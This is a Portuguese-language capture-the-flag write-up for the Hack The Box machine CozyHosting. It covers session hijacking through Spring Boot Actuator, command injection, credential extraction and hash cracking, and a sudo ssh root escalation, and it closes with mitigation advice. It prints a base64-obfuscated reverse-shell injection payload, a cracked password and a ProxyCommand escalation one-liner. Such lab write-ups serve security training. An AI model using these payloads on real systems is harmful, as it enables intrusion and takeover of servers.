0xEtern4lW0lf
Hack The BoxEasyLinux

CozyHosting

3 min de leitura
#Spring Boot#PostgreSQL#Session Hijacking#Command Injection#SSH#Sudo#GTFOBins#RCE

Introdução

Máquina do Hack The Box: https://app.hackthebox.com/machines/CozyHosting IP alvo: 10.10.11.230

Escaneamento

O primeiro passo é escanear a máquina em busca de portas e serviços abertos. Para isso foi usado o nmap.

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.230 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.230

Após o resultado do nmap, foram encontradas três portas abertas na máquina. Em seguida, o IP foi adicionado ao /etc/hosts para acessar cozyhosting.htb.

Enumeração

Porta 80

http://cozyhosting.htb/

Fuzzing de Diretórios

gobuster dir -u http://cozyhosting.htb/ -w /usr/share/wordlists/dirb/big.txt -t 100 --delay 1s -e --no-error -r

http://cozyhosting.htb/login http://cozyhosting.htb/error Esse erro é comum na aplicação web Spring Boot. Fuzzing de Endpoints

gobuster dir -u http://cozyhosting.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt -t 100 --delay 1s -e --no-error -r

Foi usada a wordlist do seclists específica para o Spring Boot. http://cozyhosting.htb/actuator http://cozyhosting.htb/actuator/sessions

Login Dashboard

O endpoint /actuator/sessions expõe o ID de sessão (JSESSIONID) de um usuário autenticado.

Exploração

Sequestro de sessão (Spring Boot Actuator) + Injeção de comando (/executessh)

As notas originais não detalham textualmente cada etapa desta fase — apenas os prints abaixo foram registrados. Com base neles e no fluxo confirmado desta máquina: o JSESSIONID exposto pelo endpoint /actuator/sessions foi usado para sequestrar a sessão de um usuário autenticado e acessar o painel administrativo (Admin Dashboard) da aplicação. Esse painel possui uma funcionalidade de execução de comandos SSH (endpoint /executessh) vulnerável a injeção de comando, o que permitiu a execução de comandos arbitrários no servidor. Payload utilizado para obter uma reverse shell (comando em base64, decodificado e executado via bash):

;echo${IFS}"<PAYLOAD EM BASE64>"|base64${IFS}-d|bash;

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjYvNDQzMyAwPiYxCg=="|base64${IFS}-d|bash;

Pós-exploração

Escalação de Privilégios (usuário josh)

Foi encontrado um arquivo .jar. Foi instalado o jd-gui para analisar o conteúdo do arquivo .jar. Com as credenciais encontradas dentro do arquivo .jar, o próximo passo foi acessar o PostgreSQL.

psql -h 127.0.0.1 -U postgres

Comandos básicos do PostgreSQL podem ser vistos nesse site. Explorando o Postgres

\c cozyhosting
select * from users;

Quebrando o hash

john hash-admin --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt

Com a senha do hash quebrada, foi feito login via SSH com o usuário josh.

ssh josh@10.10.11.230
manchesterunited

Escalação de Privilégios (root)

sudo -l

Consultando o site GTFOBins, foi possível escalar privilégios para root abusando do sudo ssh com a opção ProxyCommand.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Anexos

As notas originais mencionam um script em Python criado para automatizar a obtenção de shell nessa máquina, chamado cozyhosting-getshell.py. O bloco de código correspondente estava vazio nas notas originais — o conteúdo do script não foi registrado.

Mitigação

  • Restringir o acesso aos endpoints do Spring Boot Actuator (ex.: /actuator/sessions) ou desabilitá-los em produção, evitando a exposição de IDs de sessão de usuários autenticados.
  • Validar e sanitizar rigorosamente qualquer entrada de usuário usada para montar comandos executados no sistema operacional (ex.: o campo utilizado pela funcionalidade de SSH no painel administrativo), prevenindo injeção de comando.
  • Não armazenar credenciais de banco de dados em texto claro dentro de artefatos distribuíveis (arquivos .jar); usar variáveis de ambiente ou um cofre de segredos.
  • Aplicar políticas de senha forte para dificultar a quebra de hashes com wordlists comuns (ex.: rockyou.txt).
  • Revisar e restringir entradas do sudoers, evitando permitir comandos como ssh com opções livres (ex.: ProxyCommand), que podem ser abusadas para escalonamento de privilégios (ver GTFOBins).